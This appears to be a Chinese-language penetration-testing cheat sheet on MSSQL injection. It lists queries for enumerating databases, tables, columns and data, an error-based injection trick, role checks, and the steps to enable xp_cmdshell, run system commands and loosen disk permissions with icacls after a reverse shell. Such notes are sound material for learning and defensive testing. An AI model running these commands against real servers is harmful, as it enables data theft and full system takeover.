MSSQL注入笔记

SQL Server(MSSQL)注入

SQL Server是Microsoft开发的关系数据库管理系统,端口号为1433

SQL Server有6个默认的库:

  • 4个系统数据库:master 、model 、msdb 、tempdb
  • 2个实例数据库:ReportServer、ReportServerTempDB

注入过程会用到master这个库,它和MySQL中的information_schema库类似,存储了所有数据库名(sysdatabases),表名(sysobjects),字段名(syscolumns)

sysobjects表结构:

  • name

  • id

  • xtypetype: C = CHECK 约束;D = 默认值或 DEFAULT 约束;F = FOREIGN KEY 约束;FN = 标量函数;IF = 内嵌表函数;K = PRIMARY KEY 或 UNIQUE 约束;L = 日志 P = 存储过程 R = 规则;RF = 复制筛选存储过程;S = 系统表;TF = 表函数;TR = 触发器;U = 用户表;V = 视图;X = 扩展存储过程

常用注释:

  • /*
  • --

联合查询注入必须要有回显位,并且要与列数相同;一般用null作为占位符

不能直接读文件

SQL语句

查询基础信息

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select user;            #查询当前数据库的拥有者,结果为dbo(DbOwner)。dbo是每个数据库的默认用户,具有所有者权限  

其他

top n    # 查询前n条信息
select top 1 name from test.sysobjects where type=char(85)

查询数据库

use tempdb              #切换到tempdb库
select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name from sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小

查询数据表

select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
sp_spaceused '表名'                #查询指定表名的大小
select top 1 name from test..sysobjects where type='U'    #查询第一个表的名字
select top 1 name from test..sysobjects where type='U' and name not in '第一个表名字'  #查询第二个表名字

查询数据列

select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息

查询数据

select count(*) from test..users          #查询test数据库user表的数据的条数
select * from test..users                 #查询test数据库user表的所有数据

报错注入

select convert(int, @@version)
# 可以将整型结果爆出来:
select convert(int, stuff((select count(name) from master..sysdatabases),1,0,''))

提权相关

权限

SQL Server有三个权限:

  • sa:数据库操作、文件管理、命令执行、注册表读取等;SQL Server的最高权限
  • db:文件管理、数据库操作等
  • public:数据库操作

判断权限:

1.判断sa:

select is_srvrolemember('sysadmin')    

2.判断db:

select is_member('db_owner')

3.判断public:

select is_srvrolemember('public')

提权

sa权限,判断存在xp_cmdshell:

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1即可。启用xp_cmdshell:

1
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

执行命令:

1
exec master..xp_cmdshell 'whoami'

2005的 xp_cmdshell 的权限一般是 system,而2008他是nt authority\network service

反弹shell后可能没有写权限,可以进行修改:

Icacls.exe d: /c /e /t /g network service:F

参考文章

https://www.anquanke.com/post/id/200154

https://xz.aliyun.com/t/7534#toc-0